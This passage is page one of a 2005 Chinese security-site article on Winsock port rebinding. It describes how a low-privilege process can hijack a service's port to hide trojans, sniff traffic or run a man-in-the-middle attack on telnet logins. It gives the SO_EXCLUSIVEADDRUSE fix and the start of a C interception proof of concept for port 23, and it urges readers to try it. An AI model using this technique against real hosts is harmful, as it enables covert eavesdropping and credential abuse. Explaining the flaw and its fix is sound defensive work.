文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | firefox | WPS | 杀毒软件 | Picasa
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络技术网络安全端口截听实现端口隐藏嗅探与攻击
精品推荐
特别推荐
·Linux安全配置步骤简述
·Wi-Fi网络安全探讨及组网策略
·网页病毒的概念
·保障您网站安全的十点技巧
·技巧:网上交易密码保护的几种窍门
·六个简单方法防止上网被钓鱼
·PING命令的小秘密
·安全第一 网络端口扫描技术介绍
·十大网络工具帮你审核网络安全
·信息安全问题需解决方案
·多角度详细解释网站安全保护方法
·端口截听实现端口隐藏,嗅叹与攻击
·用Win NT/2K 建WEB站点安全指南
·实现 Web 应用程序安全的捷径
·解析远程控制带来的安全危险
·NTFS启动扇区的默认保护是什么?
·假冒腾讯qq网络骗子欺诈骗术大曝光
·基础知识:被人轻视的七大网络安全误解
·确保无线网络安全实施的技术规范
·安全之深入理解DoS拒绝服务攻击
热点TOP10
·开3389最简单得方法
·使用 OpenSSL API 进行安全编程
·nc.exe高级技巧应用汇总
·恢复本来面目 消除JPEG图片马赛克
·使用Windows的安全802.11网络企业部署一
·黑客攻击步骤-如何获得IP
·公开十七项恶意代码
·最强安全基础 从0到33600端口详解
·保障您网站安全的十点技巧
·黑客必备的基本技能
·恶意代码(网页病毒)[破解方法]
·网页病毒的概念
·软件漏洞及缓冲区溢出
·CISCO路由器配置小结
·使用Windows的安全802.11网络企业部署二
·网络信息安全与保密的6个技术目标
·Windows 2003安全性指南之强化域控制器(1)
·十大网络工具帮你审核网络安全
·给WIN2003 IIS SQL服务器安全加固
·通过Mysql入侵服务器

端口截听实现端口隐藏嗅探与攻击

日期:2005年11月21日 作者: 查看:[大字体 中字体 小字体]


在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
  这意味着什么?意味着可以进行如下的攻击:
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
 
 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,FTP,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。


以下是代码片段:
#include 
#include 
#include 
#include 


DWord WINAPI ClientThread(LPVOID lpParam);


int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;


wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

[1] [2] 下一页 




上一篇:SYN 攻击原理以及防范技术

下一篇:软件狗[Dongles]的加密与解密技术

端口截听实现端口隐藏嗅探与攻击 相关文章:
·《拳皇2002》隐藏超杀出招表 - 技巧心得
·ADSL Modem 端口映射 全集
·《最终幻想10》国际版攻略及隐藏要素
·《拳皇2002》隐藏人物出现方法 - 游戏秘籍
·如何实现局域网打印机共享
·javascript+xml实现二级下拉菜单,不会被任何标签或元素遮住
·让Windows XP操作系统实现全速启动
·谁能知道微软在你的计算机里隐藏的秘密
·Windows XP操作系统中隐藏的20个秘密
·TCP/IP编程实现远程文件传输
端口截听实现端口隐藏嗅探与攻击 相关软件:
·格斗街机《拳皇99》隐藏人物版
·手机炸弹-短信息攻击懒人版
·嗅探与安全大师V1.2.0.2
·隐藏与危险2与资料片军刀中队 中文版 FPS
·手机短信息攻击程序V1.0
·网络新手IP隐藏器V1.10
·TCP-IP详解卷2:实现
·文件夹隐藏大师V3.2
·黑客视频教程-网吧代理服务器使用灰鸽子端口映射方法
·ASP.NET下MVC设计模式的实现

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot